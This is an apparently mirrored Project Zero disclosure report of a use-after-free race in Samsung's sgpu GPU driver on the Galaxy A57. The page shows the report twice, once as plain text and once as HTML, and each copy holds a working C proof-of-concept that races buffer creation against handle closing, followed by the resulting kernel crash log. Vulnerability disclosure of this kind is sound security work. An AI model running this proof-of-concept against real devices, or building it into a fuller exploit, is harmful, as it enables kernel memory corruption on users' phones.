Lucene search
+L

Samsung Galaxy A57 Android 16 sgpu Driver Use-After-Free

🗓️ 08 Oct 2026 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 5 Views

Use-After-Free in Samsung Galaxy A57 Android 16 sgpu Driver.

Code
Samsung sgpu: sgpu_gem_create() calls sgpu_swap_add_bo() on dangling BO
https://project-zero.issues.chromium.org/issues/530890336

# Issue Description and Impact
This report details a Use-After-Free (UAF) race condition in sgpu_gem_create() within the sgpu driver, a proprietary graphics component utilized in the Samsung Galaxy A57.

There is a race condition during Buffer Object (BO) registration with DRM_IOCTL_SGPU_GEM_CREATE. In sgpu_gem_create(), during a narrow timing window between the publication of a GEM handle to the global handle table (via drm_gem_handle_create()) and the insertion of that object into Samsung's proprietary swap tracking list (via sgpu_swap_add_bo()), a concurrent thread can close the BO with DRM_IOCTL_GEM_CLOSE, which attempts to remove the BO from the swap tracking list. Because removal from the list is attempted before the BO has been added to the list, the freed BO remains on the list.

We have a PoC that demonstrates corruption of the amdgpu_fpriv::proc_ctx.bo_list.

Target Device Configuration:

- Device Model: Samsung Galaxy A57 (a57xnaxx / a57x)
- Build Version: Android 16 (BP2A.250605.031.A3)
- Firmware: A576BXXS3AZF4
- Kernel Release: user/release-keys

The bug can be reached from both adb shell and from application context.

Please credit Dom Bongard working with Google Project Zero.

# Disclosure deadline
This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2026-10-01.

For more details, see the Project Zero vulnerability disclosure policy:
https://projectzero.google/vulnerability-disclosure-policy.html

# Background: GEM
In the Linux kernel GEM framework, Buffer Objects (BOs) are refcounted, and are referenced by userspace via integer "handles" managed in a per-context handle table (the IDR).

# Background: Standard BO Lifecycle vs. Samsung’s Swap Linked List
Samsung's sgpu driver, when built with CONFIG_DRM_SGPU_GRAPHIC_MEMORY_RECLAIM, stores a linked list of BOs in sgpu_proc_ctx::bo_list. All active BOs (BOs that are referenced by an IDR entry) are supposed to be on this list. This list is a global tracking mechanism designed to facilitate memory reclamation under pressure by allowing sgpu_proc_swapout() to move GPU memory allocations into shmem files, which the kernel can swap out.

It is intended that every active amdgpu_bo resides on this list to be eligible for system-level memory management. The driver tries to synchronize the object’s visibility in the userspace handle table with its registration in the internal swap list. The vulnerability arises from a failure to maintain this synchronization, creating a state where an object is about to be placed on the list but already visible to userspace.

# Vulnerability Description
sgpu_gem_create() exposes the object to userspace too early (via drm_gem_handle_create()), before internal registration via sgpu_swap_add_bo() has completed, creating a race window.

Additionally, sgpu_gem_create() releases the last reference to the GEM object with drm_gem_object_put() before sgpu_swap_add_bo(), which means sgpu_swap_add_bo() can operate on a dangling pointer.

This can lead to corruption of the amdgpu_fpriv::proc_ctx.bo_list when two threads A and B race as follows:

- Thread A: The reproducer invokes DRM_IOCTL_SGPU_GEM_CREATE, entering sgpu_gem_create().
- Thread A, allocation: amdgpu_gem_object_create() allocates the amdgpu_bo.
- Thread A, publication: drm_gem_handle_create() registers the BO in the file's IDR table. The BO is now visible to userspace via a predictable handle ID.
- The Race Window:  Thread A is preempted by the scheduler after drm_gem_handle_create() but  before  it can call the function to add the BO to the swap list.
- Thread B: A concurrent thread guesses the handle ID and calls DRM_IOCTL_GEM_CLOSE. The kernel executes amdgpu_gem_object_close(), which calls sgpu_swap_remove_bo(). Because Thread A has not yet added the BO to the list, bo->swap_node is empty. The list_del_init() call inside sgpu_swap_remove_bo() is a no-op. The kernel proceeds to drop the final reference, and the amdgpu_bo is  kfree'd  back to the SLUB allocator.
- Thread A Resumes:  Thread A wakes and resumes sgpu_gem_create(). Unaware the object has already been closed, it executes sgpu_swap_add_bo(). This calls list_add_tail(), which inserts the BO into the active global swap list, where it will stay after it has been freed.

Alternatively, A and B can also race as follows, causing UAF in sgpu_swap_add_bo():

- Thread A: Begin sgpu_gem_create(), and allocate the BO with refcount=1.
- Thread A: Publish the BO to a new GEM handle with drm_gem_handle_create(), elevating the refcount to 2.
- Thread A: drm_gem_object_put() drops the refcount to 1.
- Thread B: Use DRM_IOCTL_GEM_CLOSE to close the GEM handle, dropping the refcount to 0 and freeing the BO.
- Thread A: sgpu_swap_add_bo() operates on a freed amdgpu_bo.

# Proof-of-Concept
Build this testcase, and run it from adb shell:
```
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <drm/drm.h>

/*
* Exploit variant for the amdgpu_gem_object_create UAF race
*
* The race occurs because drm_gem_object_put(gobj) drops the initial reference
* before sgpu_swap_add_bo() adds it to the swap list. If another thread closes
* the newly created handle in that tiny window, the object is freed, and
* sgpu_swap_add_bo() will operate on a freed object, causing a UAF and
* list corruption on fpriv->proc_ctx.bo_list.
*/

#define DRM_SGPU_GEM_CREATE 0x16
#define DRM_IOCTL_SGPU_GEM_CREATE DRM_IOWR(DRM_COMMAND_BASE + DRM_SGPU_GEM_CREATE, struct drm_sgpu_gem_create)

struct drm_amdgpu_gem_create_in  {
uint64_t bo_size;
uint64_t alignment;
uint64_t domains;
uint64_t domain_flags;
};

struct drm_amdgpu_gem_create_out  {
uint32_t handle;
uint32_t _pad;
};

union drm_amdgpu_gem_create {
struct drm_amdgpu_gem_create_in      in;
struct drm_amdgpu_gem_create_out     out;
};

struct drm_sgpu_gem_metadata {
uint64_t flags;
uint64_t tiling_info;
uint32_t data_size_bytes;
uint32_t data[64];
};

struct drm_sgpu_gem_create {
union drm_amdgpu_gem_create gem_create_info;
struct drm_sgpu_gem_metadata data;
};

volatile int stop = 0;
int drm_fd;

void *closer_thread(void *arg) {
struct drm_gem_close args;

while (!stop) {
// Aggressively guess and close handles to win the race
// between drm_gem_object_put and sgpu_swap_add_bo
for (uint32_t h = 1; h <= 10; h++) {
args.handle = h;
ioctl(drm_fd, DRM_IOCTL_GEM_CLOSE, &args);
}
}
return NULL;
}

int main() {
pthread_t t;
struct drm_sgpu_gem_create args;

drm_fd = open("/dev/dri/renderD128", O_RDWR);
if (drm_fd < 0) {
perror("Failed to open DRM");
return -1;
}

// Start the racing thread
pthread_create(&t, NULL, closer_thread, NULL);

printf("[+] Racing DRM_IOCTL_SGPU_GEM_CREATE against DRM_IOCTL_GEM_CLOSE...\n");

for (int i = 0; i < 100000; i++) {
memset(&args, 0, sizeof(args));
args.gem_create_info.in.bo_size = 4096;
args.gem_create_info.in.alignment = 4096;
args.gem_create_info.in.domains = 2; // GTT

ioctl(drm_fd, DRM_IOCTL_SGPU_GEM_CREATE, &args);
}

stop = 1;
pthread_join(t, NULL);

close(drm_fd);
printf("[+] Done. Check kernel logs for UAF / list corruption.\n");
return 0;
}
```
This should result in a list corruption detected by the kernel:
```
[ 4946.187921] [4:poc_gem_create_:23669] ------------[ cut here ]------------
[ 4946.187923] [4:poc_gem_create_:23669] kernel BUG at lib/list_debug.c:34!
[ 4946.188047] [4:poc_gem_create_:23669] Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP
[ 4946.188058] [4:poc_gem_create_:23669] debug-snapshot dss: core register saved(CPU:4)
[ 4946.188063] [4:poc_gem_create_:23669] DSU: NO Error: [NUM:0][ERXSTATUS_EL1:0x00000000000000]
[ 4946.188066] [4:poc_gem_create_:23669]  L1: NO Error: [NUM:1][ERXSTATUS_EL1:0x00000000000000]
[ 4946.188068] [4:poc_gem_create_:23669] debug-snapshot dss: context saved(CPU:4)
[ 4946.188243] [4:poc_gem_create_:23669] item - log_kevents is disabled
[ 4946.188418] [4:poc_gem_create_:23669] secdbg_exin_set_regs: set regs
[ 4946.190601] [4:poc_gem_create_:23669] PC is at __list_add_valid_or_report+0xd4/0xdc
[ 4946.190610] [4:poc_gem_create_:23669] LR is at __list_add_valid_or_report+0xd4/0xdc
[...]
[ 4946.192614] [4:poc_gem_create_:23669] pc : __list_add_valid_or_report+0xd4/0xdc
[ 4946.192620] [4:poc_gem_create_:23669] lr : __list_add_valid_or_report+0xd4/0xdc
[ 4946.192623] [4:poc_gem_create_:23669] sp : ffffffc09a653ab0
[ 4946.192625] [4:poc_gem_create_:23669] x29: ffffffc09a653af0 x28: 0000000000000004 x27: 0000000000000002
[ 4946.192630] [4:poc_gem_create_:23669] x26: 0000000000000002 x25: 0000000000000000 x24: ffffff882a420000
[ 4946.192634] [4:poc_gem_create_:23669] x23: ffffff8015301000 x22: ffffff8034cbc448 x21: ffffff8034cbc400
[ 4946.192639] [4:poc_gem_create_:23669] x20: ffffff8015301000 x19: ffffff886358bc00 x18: ffffffe6eff0bf80
[ 4946.192644] [4:poc_gem_create_:23669] x17: 3839623130333531 x16: 3038666666666666 x15: 7562202c29383962
[ 4946.192649] [4:poc_gem_create_:23669] x14: 3130333531303866 x13: 7665727028202e30 x12: 3237636263343330
[ 4946.192653] [4:poc_gem_create_:23669] x11: 2e29303237636263 x10: 00000000ffffffff x9 : 4dc61457e7628900
[ 4946.192658] [4:poc_gem_create_:23669] x8 : 4dc61457e7628900 x7 : 3433303866666666 x6 : 6666207361772074
[ 4946.192662] [4:poc_gem_create_:23669] x5 : ffffffc082139703 x4 : ffffffe6f02fe81f x3 : ffffffc0821396a0
[ 4946.192667] [4:poc_gem_create_:23669] x2 : ffffffc09a653894 x1 : 00000000000000c0 x0 : 0000000000000075
[ 4946.192672] [4:poc_gem_create_:23669] Call trace:
[ 4946.192675] [4:poc_gem_create_:23669]  __list_add_valid_or_report+0xd4/0xdc
[ 4946.192680] [4:poc_gem_create_:23669]  sgpu_swap_add_bo+0x98/0x9c [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.192765] [4:poc_gem_create_:23669]  sgpu_gem_create+0x2ec/0x2fc [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.192844] [4:poc_gem_create_:23669]  sgpu_gem_create_ioctl+0x38/0xd4 [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.192923] [4:poc_gem_create_:23669]  drm_ioctl_kernel+0xe0/0x12c
[ 4946.192929] [4:poc_gem_create_:23669]  drm_ioctl+0x314/0x4ac
[ 4946.192933] [4:poc_gem_create_:23669]  amdgpu_drm_ioctl+0x78/0x300 [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.193013] [4:poc_gem_create_:23669]  __arm64_sys_ioctl+0xa8/0xe4
[ 4946.193016] [4:poc_gem_create_:23669]  invoke_syscall+0x70/0x148
[ 4946.193021] [4:poc_gem_create_:23669]  el0_svc_common+0xa8/0xdc
[ 4946.193026] [4:poc_gem_create_:23669]  do_el0_svc+0x1c/0x28
[ 4946.193030] [4:poc_gem_create_:23669]  el0_svc+0x3c/0x90
[ 4946.193034] [4:poc_gem_create_:23669]  el0t_64_sync_handler+0x70/0xbc
[ 4946.193037] [4:poc_gem_create_:23669]  el0t_64_sync+0x1a8/0x1ac
```
[email protected]
googlers_unrestricted
google_domain
WlRaalltSXdaamRsWW1VM09EQTFOakJoWXpRNVpEZGpPREppTmpFMk56VT0=
<h1>Issue Description and Impact</h1>
<p>This report details a Use-After-Free (UAF) race condition in sgpu_gem_create() within the sgpu driver, a proprietary graphics component utilized in the Samsung Galaxy A57.</p>
<p>There is a race condition during Buffer Object (BO) registration with DRM_IOCTL_SGPU_GEM_CREATE. In sgpu_gem_create(), during a narrow timing window between the publication of a GEM handle to the global handle table (via drm_gem_handle_create()) and the insertion of that object into Samsung's proprietary swap tracking list (via sgpu_swap_add_bo()), a concurrent thread can close the BO with DRM_IOCTL_GEM_CLOSE, which attempts to remove the BO from the swap tracking list. Because removal from the list is attempted before the BO has been added to the list, the freed BO remains on the list.</p>
<p>We have a PoC that demonstrates corruption of the amdgpu_fpriv::proc_ctx.bo_list.</p>
<p>Target Device Configuration:</p>
<ul>
<li>Device Model: Samsung Galaxy A57 (a57xnaxx / a57x)</li>
<li>Build Version: Android 16 (BP2A.250605.031.A3)</li>
<li>Firmware: A576BXXS3AZF4</li>
<li>Kernel Release: user/release-keys</li>
</ul>
<p>The bug can be reached from both adb shell and from application context.</p>
<p>Please credit Dom Bongard working with Google Project Zero.</p>
<h1>Disclosure deadline</h1>
<p>This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2026-10-01.</p>
<p>For more details, see the Project Zero vulnerability disclosure policy:
<a href="https://projectzero.google/vulnerability-disclosure-policy.html" data-b-widget="url" data-b-original-href="https://projectzero.google/vulnerability-disclosure-policy.html" data-b-redirected-href="https://www.google.com/url?q=https://projectzero.google/vulnerability-disclosure-policy.html&sa=D&source=buganizer&usg=AOvVaw0IqSsZLkzYXfQVBMAqR1Ox">https://projectzero.google/vulnerability-disclosure-policy.html</a></p>
<h1>Background: GEM</h1>
<p>In the Linux kernel GEM framework, Buffer Objects (BOs) are refcounted, and are referenced by userspace via integer "handles" managed in a per-context handle table (the IDR).</p>
<h1>Background: Standard BO Lifecycle vs. Samsung’s Swap Linked List</h1>
<p>Samsung's sgpu driver, when built with CONFIG_DRM_SGPU_GRAPHIC_MEMORY_RECLAIM, stores a linked list of BOs in sgpu_proc_ctx::bo_list. All active BOs (BOs that are referenced by an IDR entry) are supposed to be on this list. This list is a global tracking mechanism designed to facilitate memory reclamation under pressure by allowing sgpu_proc_swapout() to move GPU memory allocations into shmem files, which the kernel can swap out.</p>
<p>It is intended that every active amdgpu_bo resides on this list to be eligible for system-level memory management. The driver tries to synchronize the object’s visibility in the userspace handle table with its registration in the internal swap list. The vulnerability arises from a failure to maintain this synchronization, creating a state where an object is about to be placed on the list but already visible to userspace.</p>
<h1>Vulnerability Description</h1>
<p>sgpu_gem_create() exposes the object to userspace too early (via drm_gem_handle_create()), before internal registration via sgpu_swap_add_bo() has completed, creating a race window.</p>
<p>Additionally, sgpu_gem_create() releases the last reference to the GEM object with drm_gem_object_put() before sgpu_swap_add_bo(), which means sgpu_swap_add_bo() can operate on a dangling pointer.</p>
<p>This can lead to corruption of the amdgpu_fpriv::proc_ctx.bo_list when two threads A and B race as follows:</p>
<ul>
<li>Thread A: The reproducer invokes DRM_IOCTL_SGPU_GEM_CREATE, entering sgpu_gem_create().</li>
<li>Thread A, allocation: amdgpu_gem_object_create() allocates the amdgpu_bo.</li>
<li>Thread A, publication: drm_gem_handle_create() registers the BO in the file's IDR table. The BO is now visible to userspace via a predictable handle ID.</li>
<li>The Race Window:  Thread A is preempted by the scheduler after drm_gem_handle_create() but  before  it can call the function to add the BO to the swap list.</li>
<li>Thread B: A concurrent thread guesses the handle ID and calls DRM_IOCTL_GEM_CLOSE. The kernel executes amdgpu_gem_object_close(), which calls sgpu_swap_remove_bo(). Because Thread A has not yet added the BO to the list, bo->swap_node is empty. The list_del_init() call inside sgpu_swap_remove_bo() is a no-op. The kernel proceeds to drop the final reference, and the amdgpu_bo is  kfree'd  back to the SLUB allocator.</li>
<li>Thread A Resumes:  Thread A wakes and resumes sgpu_gem_create(). Unaware the object has already been closed, it executes sgpu_swap_add_bo(). This calls list_add_tail(), which inserts the BO into the active global swap list, where it will stay after it has been freed.</li>
</ul>
<p>Alternatively, A and B can also race as follows, causing UAF in sgpu_swap_add_bo():</p>
<ul>
<li>Thread A: Begin sgpu_gem_create(), and allocate the BO with refcount=1.</li>
<li>Thread A: Publish the BO to a new GEM handle with drm_gem_handle_create(), elevating the refcount to 2.</li>
<li>Thread A: drm_gem_object_put() drops the refcount to 1.</li>
<li>Thread B: Use DRM_IOCTL_GEM_CLOSE to close the GEM handle, dropping the refcount to 0 and freeing the BO.</li>
<li>Thread A: sgpu_swap_add_bo() operates on a freed amdgpu_bo.</li>
</ul>
<h1>Proof-of-Concept</h1>
<p>Build this testcase, and run it from adb shell:</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <drm/drm.h>

/*
* Exploit variant for the amdgpu_gem_object_create UAF race
*
* The race occurs because drm_gem_object_put(gobj) drops the initial reference
* before sgpu_swap_add_bo() adds it to the swap list. If another thread closes
* the newly created handle in that tiny window, the object is freed, and
* sgpu_swap_add_bo() will operate on a freed object, causing a UAF and
* list corruption on fpriv->proc_ctx.bo_list.
*/

#define DRM_SGPU_GEM_CREATE 0x16
#define DRM_IOCTL_SGPU_GEM_CREATE DRM_IOWR(DRM_COMMAND_BASE + DRM_SGPU_GEM_CREATE, struct drm_sgpu_gem_create)

struct drm_amdgpu_gem_create_in  {
uint64_t bo_size;
uint64_t alignment;
uint64_t domains;
uint64_t domain_flags;
};

struct drm_amdgpu_gem_create_out  {
uint32_t handle;
uint32_t _pad;
};

union drm_amdgpu_gem_create {
struct drm_amdgpu_gem_create_in      in;
struct drm_amdgpu_gem_create_out     out;
};

struct drm_sgpu_gem_metadata {
uint64_t flags;
uint64_t tiling_info;
uint32_t data_size_bytes;
uint32_t data[64];
};

struct drm_sgpu_gem_create {
union drm_amdgpu_gem_create gem_create_info;
struct drm_sgpu_gem_metadata data;
};

volatile int stop = 0;
int drm_fd;

void *closer_thread(void *arg) {
struct drm_gem_close args;

while (!stop) {
// Aggressively guess and close handles to win the race
// between drm_gem_object_put and sgpu_swap_add_bo
for (uint32_t h = 1; h <= 10; h++) {
args.handle = h;
ioctl(drm_fd, DRM_IOCTL_GEM_CLOSE, &args);
}
}
return NULL;
}

int main() {
pthread_t t;
struct drm_sgpu_gem_create args;

drm_fd = open("/dev/dri/renderD128", O_RDWR);
if (drm_fd < 0) {
perror("Failed to open DRM");
return -1;
}

// Start the racing thread
pthread_create(&t, NULL, closer_thread, NULL);

printf("[+] Racing DRM_IOCTL_SGPU_GEM_CREATE against DRM_IOCTL_GEM_CLOSE...\n");

for (int i = 0; i < 100000; i++) {
memset(&args, 0, sizeof(args));
args.gem_create_info.in.bo_size = 4096;
args.gem_create_info.in.alignment = 4096;
args.gem_create_info.in.domains = 2; // GTT

ioctl(drm_fd, DRM_IOCTL_SGPU_GEM_CREATE, &args);
}

stop = 1;
pthread_join(t, NULL);

close(drm_fd);
printf("[+] Done. Check kernel logs for UAF / list corruption.\n");
return 0;
}
</code></pre>
<p>This should result in a list corruption detected by the kernel:</p>
<pre><code>[ 4946.187921] [4:poc_gem_create_:23669] ------------[ cut here ]------------
[ 4946.187923] [4:poc_gem_create_:23669] kernel BUG at lib/list_debug.c:34!
[ 4946.188047] [4:poc_gem_create_:23669] Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP
[ 4946.188058] [4:poc_gem_create_:23669] debug-snapshot dss: core register saved(CPU:4)
[ 4946.188063] [4:poc_gem_create_:23669] DSU: NO Error: [NUM:0][ERXSTATUS_EL1:0x00000000000000]
[ 4946.188066] [4:poc_gem_create_:23669]  L1: NO Error: [NUM:1][ERXSTATUS_EL1:0x00000000000000]
[ 4946.188068] [4:poc_gem_create_:23669] debug-snapshot dss: context saved(CPU:4)
[ 4946.188243] [4:poc_gem_create_:23669] item - log_kevents is disabled
[ 4946.188418] [4:poc_gem_create_:23669] secdbg_exin_set_regs: set regs
[ 4946.190601] [4:poc_gem_create_:23669] PC is at __list_add_valid_or_report+0xd4/0xdc
[ 4946.190610] [4:poc_gem_create_:23669] LR is at __list_add_valid_or_report+0xd4/0xdc
[...]
[ 4946.192614] [4:poc_gem_create_:23669] pc : __list_add_valid_or_report+0xd4/0xdc
[ 4946.192620] [4:poc_gem_create_:23669] lr : __list_add_valid_or_report+0xd4/0xdc
[ 4946.192623] [4:poc_gem_create_:23669] sp : ffffffc09a653ab0
[ 4946.192625] [4:poc_gem_create_:23669] x29: ffffffc09a653af0 x28: 0000000000000004 x27: 0000000000000002
[ 4946.192630] [4:poc_gem_create_:23669] x26: 0000000000000002 x25: 0000000000000000 x24: ffffff882a420000
[ 4946.192634] [4:poc_gem_create_:23669] x23: ffffff8015301000 x22: ffffff8034cbc448 x21: ffffff8034cbc400
[ 4946.192639] [4:poc_gem_create_:23669] x20: ffffff8015301000 x19: ffffff886358bc00 x18: ffffffe6eff0bf80
[ 4946.192644] [4:poc_gem_create_:23669] x17: 3839623130333531 x16: 3038666666666666 x15: 7562202c29383962
[ 4946.192649] [4:poc_gem_create_:23669] x14: 3130333531303866 x13: 7665727028202e30 x12: 3237636263343330
[ 4946.192653] [4:poc_gem_create_:23669] x11: 2e29303237636263 x10: 00000000ffffffff x9 : 4dc61457e7628900
[ 4946.192658] [4:poc_gem_create_:23669] x8 : 4dc61457e7628900 x7 : 3433303866666666 x6 : 6666207361772074
[ 4946.192662] [4:poc_gem_create_:23669] x5 : ffffffc082139703 x4 : ffffffe6f02fe81f x3 : ffffffc0821396a0
[ 4946.192667] [4:poc_gem_create_:23669] x2 : ffffffc09a653894 x1 : 00000000000000c0 x0 : 0000000000000075
[ 4946.192672] [4:poc_gem_create_:23669] Call trace:
[ 4946.192675] [4:poc_gem_create_:23669]  __list_add_valid_or_report+0xd4/0xdc
[ 4946.192680] [4:poc_gem_create_:23669]  sgpu_swap_add_bo+0x98/0x9c [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.192765] [4:poc_gem_create_:23669]  sgpu_gem_create+0x2ec/0x2fc [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.192844] [4:poc_gem_create_:23669]  sgpu_gem_create_ioctl+0x38/0xd4 [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.192923] [4:poc_gem_create_:23669]  drm_ioctl_kernel+0xe0/0x12c
[ 4946.192929] [4:poc_gem_create_:23669]  drm_ioctl+0x314/0x4ac
[ 4946.192933] [4:poc_gem_create_:23669]  amdgpu_drm_ioctl+0x78/0x300 [sgpu 0f7046f3fdde2d42bbbdba05305178673c84948a]
[ 4946.193013] [4:poc_gem_create_:23669]  __arm64_sys_ioctl+0xa8/0xe4
[ 4946.193016] [4:poc_gem_create_:23669]  invoke_syscall+0x70/0x148
[ 4946.193021] [4:poc_gem_create_:23669]  el0_svc_common+0xa8/0xdc
[ 4946.193026] [4:poc_gem_create_:23669]  do_el0_svc+0x1c/0x28
[ 4946.193030] [4:poc_gem_create_:23669]  el0_svc+0x3c/0x90
[ 4946.193034] [4:poc_gem_create_:23669]  el0t_64_sync_handler+0x70/0xbc
[ 4946.193037] [4:poc_gem_create_:23669]  el0t_64_sync+0x1a8/0x1ac
</code></pre>

[email protected]
googlers_unrestricted
google_domain

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Oct 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
5